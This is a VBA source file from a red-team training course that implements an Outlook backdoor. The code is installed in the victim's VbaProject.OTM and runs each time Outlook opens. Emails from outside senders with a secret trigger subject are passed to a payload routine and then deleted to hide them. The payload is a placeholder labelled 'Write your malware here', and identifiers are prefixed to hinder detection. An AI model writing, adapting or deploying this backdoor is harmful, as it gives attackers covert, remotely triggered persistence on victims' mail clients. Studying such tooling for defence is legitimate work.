'#
'# Copyright (C) Binary-Offensive.com Mariusz Banach - All Rights Reserved
'# Unauthorized copying of this file, via any medium is strictly prohibited.
'#
'# This file/directory was part of Modern Initial Access and Evasion Tactics training
'# delivered by binary-offensive.com and was provided as supplemental material.
'# 
'# Authored by Mariusz Banach <mb@binary-offensive.com>, @mariuszbit / mgeeky
'#

'
' Outlook Backdoor - VBA code that will live in %APPDATA%\Microsoft\Outlook\VbaProject.OTM and will
' be executed anytime victim opens Outlook.
'
' Will act upon emails with subject containing: "FOOBAR FOOBAR FOOBAR".
'

Private Sub Application_NewMailEx(ByVal obf_EntryIDCollection As String)
    On Error GoTo obf_ProcError
    Dim obf_oNewMailItem As Outlook.MailItem
    Dim obf_appNameSpace As Outlook.NameSpace
   
    Set obf_appNameSpace = Application.Session
   
    Select Case obf_appNameSpace.GetItemFromID(obf_EntryIDCollection).Class
       Case Is = olMail
           Set obf_oNewMailItem = obf_appNameSpace.GetItemFromID(obf_EntryIDCollection)
           obf_ItemAdd obf_oNewMailItem
    End Select

obf_ProcError:
End Sub

Private Sub obf_ItemAdd(ByVal obf_mailItem As MailItem)
    On Error Resume Next
    Dim obf_self As Boolean
    Dim obf_account As Outlook.Account
    
    obf_self = False
    
    For Each obf_account In Outlook.Session.Accounts
        If StrComp(LCase(obf_mailItem.SenderEmailAddress), LCase(obf_account.SmtpAddress), vbTextCompare) = 0 Then
            obf_self = True
        End If
    Next
    
    If (Not obf_self) And (InStr(obf_mailItem.Subject, "FOOBAR FOOBAR FOOBAR") > 0) Then
        obf_ProcessEmail obf_mailItem
        obf_mailItem.Delete
    End If

    Set obf_mailItem = Nothing
End Sub


Private Sub obf_ProcessEmail(ByVal obf_mailItem As Outlook.MailItem)
    On Error GoTo obf_ProcError

    ' Write your malware here.
    MsgBox "Its alive!"

obf_ProcError:
End Sub